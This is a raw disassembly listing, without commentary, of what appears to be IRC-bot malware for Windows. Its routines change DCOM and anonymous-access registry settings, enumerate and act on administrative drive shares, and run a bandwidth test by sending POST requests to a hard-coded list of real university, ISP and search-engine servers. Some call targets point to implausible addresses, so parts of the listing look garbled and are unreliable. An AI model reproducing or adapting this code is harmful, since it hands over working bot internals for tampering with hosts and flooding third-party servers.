		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4C9328
		test	eax, eax
		jz	short loc_41A3D4
		push	offset dword_439FE8
		jmp	short loc_41A3D9
; ---------------------------------------------------------------------------


loc_41A3D4:				; CODE XREF: sub_41A367+64j
		push	offset dword_439FC8


loc_41A3D9:				; CODE XREF: sub_41A367+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C92E0
		jmp	short loc_41A405
; ---------------------------------------------------------------------------


loc_41A3F2:				; CODE XREF: sub_41A367+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439F98
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A405:				; CODE XREF: sub_41A367+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A424
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A424:				; CODE XREF: sub_41A367+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4C9374
		test	eax, eax
		jnz	short loc_41A492
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4C9328
		test	eax, eax
		jz	short loc_41A474
		push	offset dword_439F48
		jmp	short loc_41A479
; ---------------------------------------------------------------------------


loc_41A474:				; CODE XREF: sub_41A367+104j
		push	offset dword_439F14


loc_41A479:				; CODE XREF: sub_41A367+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C92E0
		jmp	short loc_41A4AC
; ---------------------------------------------------------------------------


loc_41A492:				; CODE XREF: sub_41A367+E2j
		push	offset dword_439ED8
		jmp	short loc_41A49E
; ---------------------------------------------------------------------------


loc_41A499:				; CODE XREF: sub_41A367+13j
		push	offset dword_439EA8


loc_41A49E:				; CODE XREF: sub_41A367+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A4AC:				; CODE XREF: sub_41A367+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A4CB
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A4CB:				; CODE XREF: sub_41A367+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		cmp	dword_4C93FC, edi
		pop	ecx
		jnz	loc_41A646
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A4EE:				; CODE XREF: sub_41A367+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4C9248
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A58B
		cmp	eax, 0EAh
		jz	short loc_41A58B
		mov	esi, offset off_439D70


loc_41A51F:				; CODE XREF: sub_41A367+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_419175
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A536
		push	offset dword_439E84
		jmp	short loc_41A53B
; ---------------------------------------------------------------------------


loc_41A536:				; CODE XREF: sub_41A367+1C6j
		push	offset dword_439E58


loc_41A53B:				; CODE XREF: sub_41A367+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A56E
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A56E:				; CODE XREF: sub_41A367+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_439D90
		jl	short loc_41A51F
		jmp	loc_41A623
; ---------------------------------------------------------------------------


loc_41A58B:				; CODE XREF: sub_41A367+1AAj
					; sub_41A367+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A61A


loc_41A59A:				; CODE XREF: sub_41A367+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41DFB7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A60F
		push	edi
		call	sub_419062
		push	eax
		push	0
		call	sub_419175
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A5C9
		push	offset dword_439E34
		jmp	short loc_41A5CE
; ---------------------------------------------------------------------------


loc_41A5C9:				; CODE XREF: sub_41A367+259j
		push	offset dword_439E08


loc_41A5CE:				; CODE XREF: sub_41A367+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A602
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A602:				; CODE XREF: sub_41A367+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_41A60F:				; CODE XREF: sub_41A367+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A59A
		xor	edi, edi


loc_41A61A:				; CODE XREF: sub_41A367+22Dj
		push	[ebp+var_8]
		call	dword_4C9394


loc_41A623:				; CODE XREF: sub_41A367+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A4EE
		lea	eax, [ebp+var_214]
		push	offset dword_439DE0
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A659
; ---------------------------------------------------------------------------


loc_41A646:				; CODE XREF: sub_41A367+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439DB0
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A659:				; CODE XREF: sub_41A367+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A677
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A677:				; CODE XREF: sub_41A367+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A367	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A68B	proc near		; CODE XREF: sub_41A307:loc_41A34Ep

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4C93D4, ebx
		push	esi
		jnz	loc_41A7B9
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4C9374
		test	eax, eax
		jnz	short loc_41A716
		mov	ax, word_438B04
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4C9328
		test	eax, eax
		jz	short loc_41A6F8
		push	offset dword_43A160
		jmp	short loc_41A6FD
; ---------------------------------------------------------------------------


loc_41A6F8:				; CODE XREF: sub_41A68B+64j
		push	offset dword_43A144


loc_41A6FD:				; CODE XREF: sub_41A68B+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C92E0
		jmp	short loc_41A729
; ---------------------------------------------------------------------------


loc_41A716:				; CODE XREF: sub_41A68B+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439F98
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A729:				; CODE XREF: sub_41A68B+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A748
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A748:				; CODE XREF: sub_41A68B+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4C9374
		test	eax, eax
		jnz	short loc_41A7B2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4C9328
		test	eax, eax
		jz	short loc_41A794
		push	offset dword_43A104
		jmp	short loc_41A799
; ---------------------------------------------------------------------------


loc_41A794:				; CODE XREF: sub_41A68B+100j
		push	offset dword_43A0CC


loc_41A799:				; CODE XREF: sub_41A68B+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C92E0
		jmp	short loc_41A7CC
; ---------------------------------------------------------------------------


loc_41A7B2:				; CODE XREF: sub_41A68B+E2j
		push	offset dword_43A090
		jmp	short loc_41A7BE
; ---------------------------------------------------------------------------


loc_41A7B9:				; CODE XREF: sub_41A68B+13j
		push	offset dword_439EA8


loc_41A7BE:				; CODE XREF: sub_41A68B+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A7CC:				; CODE XREF: sub_41A68B+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7EB
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A7EB:				; CODE XREF: sub_41A68B+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		cmp	dword_4C93FC, ebx
		pop	ecx
		jnz	loc_41A95D
		push	edi
		mov	esi, offset off_439D70
		mov	edi, 200h


loc_41A80F:				; CODE XREF: sub_41A68B+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_4190C9
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A82A
		push	offset dword_43A070
		jmp	short loc_41A82F
; ---------------------------------------------------------------------------


loc_41A82A:				; CODE XREF: sub_41A68B+196j
		push	offset dword_43A048


loc_41A82F:				; CODE XREF: sub_41A68B+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A85E
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A85E:				; CODE XREF: sub_41A68B+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_439D80
		jl	short loc_41A80F
		nop
		call	near ptr 2850000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A945


loc_41A889:				; CODE XREF: sub_41A68B+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A93A
		cmp	bl, 41h
		jz	loc_41A93A
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C100
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41C100
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4C9364
		cmp	eax, 3
		jnz	short loc_41A93A
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4190C9
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A8F8
		push	offset dword_43A070
		jmp	short loc_41A8FD
; ---------------------------------------------------------------------------


loc_41A8F8:				; CODE XREF: sub_41A68B+264j
		push	offset dword_43A048


loc_41A8FD:				; CODE XREF: sub_41A68B+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A92D
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A92D:				; CODE XREF: sub_41A68B+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_41A93A:				; CODE XREF: sub_41A68B+206j
					; sub_41A68B+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A889


loc_41A945:				; CODE XREF: sub_41A68B+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A018
		push	eax
		call	sub_41C006
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A970
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A68B+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439DB0
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A970:				; CODE XREF: sub_41A68B+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A98E
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A98E:				; CODE XREF: sub_41A68B+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A68B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9A2	proc near		; CODE XREF: sub_41AB97+CBp
					; sub_41AB97+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A9A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9BC	proc near		; CODE XREF: sub_41AB97+D4p
					; sub_41AB97+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B960
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41AB93
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BD10
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8E4
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41AB93
		push	50h
		call	dword_4C9304
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4C9384
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41AB93
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41AB93
		push	32003h
		call	sub_41D735
		mov	edi, dword_4270B8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C058
		call	sub_41C062
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BD10
		push	32000h
		push	esi
		push	ebx
		call	sub_41BD10
		push	ebx
		call	sub_41B960
		push	323EAh
		mov	ebx, eax
		call	sub_41D735
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C006
		push	[ebp+var_8]
		push	esi
		call	sub_41C630
		push	offset asc_4341E4 ; "\r\n"
		push	esi
		call	sub_41C630
		add	esp, 40h
		push	esi
		call	sub_41B960
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB13
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AAE3
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: sub_41A9BC+155j
		mov	eax, [ebp+arg_0]


loc_41AAE3:				; CODE XREF: sub_41A9BC+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AAF3
		push	[ebp+var_C]
		jmp	short loc_41AAF4
; ---------------------------------------------------------------------------


loc_41AAF3:				; CODE XREF: sub_41A9BC+130j
		push	ebx


loc_41AAF4:				; CODE XREF: sub_41A9BC+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB7A
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AAE0


loc_41AB13:				; CODE XREF: sub_41A9BC+118j
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41AB3B
		fld1
		fstp	[ebp+arg_0]


loc_41AB3B:				; CODE XREF: sub_41A9BC+178j
		push	[ebp+var_4]
		call	dword_4C939C
		push	[ebp+var_8]
		call	sub_41BA31
		push	esi
		call	sub_41BA31
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41CF04


loc_41AB75:				; CODE XREF: sub_41A9BC+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AB7A:				; CODE XREF: sub_41A9BC+147j
		push	[ebp+var_4]
		call	dword_4C939C
		push	[ebp+var_8]
		call	sub_41BA31
		push	esi
		call	sub_41BA31
		pop	ecx
		pop	ecx


loc_41AB93:				; CODE XREF: sub_41A9BC+19j
					; sub_41A9BC+42j ...
		xor	eax, eax
		jmp	short loc_41AB75
sub_41A9BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB97	proc near		; CODE XREF: sub_401AC7+2E2Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A9A2
		push	[ebp+eax*4+var_3C]
		call	sub_41A9BC
		push	8
		mov	esi, eax
		call	sub_41A9A2
		push	[ebp+eax*4+var_3C]
		call	sub_41A9BC
		add	esp, 10h
		test	esi, esi
		jz	short loc_41AC98
		test	eax, eax
		jz	short loc_41AC94
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41AC9A
; ---------------------------------------------------------------------------


loc_41AC94:				; CODE XREF: sub_41AB97+F4j
		mov	ebx, esi
		jmp	short loc_41AC9A
; ---------------------------------------------------------------------------


loc_41AC98:				; CODE XREF: sub_41AB97+F0j
		mov	ebx, eax


loc_41AC9A:				; CODE XREF: sub_41AB97+FBj
					; sub_41AB97+FFj
		push	0Ch
		call	sub_41A9A2
		push	[ebp+eax*4+var_6C]
		call	sub_41A9BC
		push	0Ch
		mov	edi, eax
		call	sub_41A9A2
		push	[ebp+eax*4+var_6C]
		call	sub_41A9BC
		add	esp, 10h
		test	edi, edi
		jz	short loc_41ACD2
		test	eax, eax
		jz	short loc_41ACCE
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41ACD4
; ---------------------------------------------------------------------------


loc_41ACCE:				; CODE XREF: sub_41AB97+12Ej
		mov	esi, edi
		jmp	short loc_41ACD4
; ---------------------------------------------------------------------------


loc_41ACD2:				; CODE XREF: sub_41AB97+12Aj
		mov	esi, eax


loc_41ACD4:				; CODE XREF: sub_41AB97+135j
					; sub_41AB97+139j
		push	6
		call	sub_41A9A2
		push	[ebp+eax*4+var_1C]
		call	sub_41A9BC
		push	6
		mov	edi, eax
		call	sub_41A9A2
		push	[ebp+eax*4+var_1C]
		call	sub_41A9BC
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD0C
		test	eax, eax
		jz	short loc_41AD08
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD0E
; ---------------------------------------------------------------------------


loc_41AD08:				; CODE XREF: sub_41AB97+168j
		mov	ecx, edi
		jmp	short loc_41AD0E
; ---------------------------------------------------------------------------


loc_41AD0C:				; CODE XREF: sub_41AB97+164j
		mov	ecx, eax


loc_41AD0E:				; CODE XREF: sub_41AB97+16Fj
					; sub_41AB97+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD1B
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD1E
; ---------------------------------------------------------------------------


loc_41AD1B:				; CODE XREF: sub_41AB97+17Bj
		push	2
		pop	edi


loc_41AD1E:				; CODE XREF: sub_41AB97+182j
		test	esi, esi
		jz	short loc_41AD26
		add	eax, esi
		jmp	short loc_41AD27
; ---------------------------------------------------------------------------


loc_41AD26:				; CODE XREF: sub_41AB97+189j
		dec	edi


loc_41AD27:				; CODE XREF: sub_41AB97+18Dj
		test	ecx, ecx
		jz	short loc_41AD2F
		add	eax, ecx
		jmp	short loc_41AD30
; ---------------------------------------------------------------------------


loc_41AD2F:				; CODE XREF: sub_41AB97+192j
		dec	edi


loc_41AD30:				; CODE XREF: sub_41AB97+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A1B8
		push	eax
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415CEE
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AB97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD74	proc near		; CODE XREF: sub_401AC7+2565p
					; sub_401AC7+29B3p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26A0729h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4D95D0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C100
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AD74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADDD	proc near		; CODE XREF: sub_417269+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26E0636h
		test	eax, eax
		jz	short loc_41AE70
		cmp	[ebp+var_90], 4
		jnz	short loc_41AE46
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE2E
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE21
		push	1
		pop	esi


loc_41AE21:				; CODE XREF: sub_41ADDD+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AE70
		push	1
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE2E:				; CODE XREF: sub_41ADDD+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE3B


loc_41AE37:				; CODE XREF: sub_41ADDD+78j
		push	2
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE3B:				; CODE XREF: sub_41ADDD+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AE70
		jmp	short loc_41AE60
; ---------------------------------------------------------------------------


loc_41AE46:				; CODE XREF: sub_41ADDD+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AE70
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE37
		cmp	[ebp+var_8C], 1
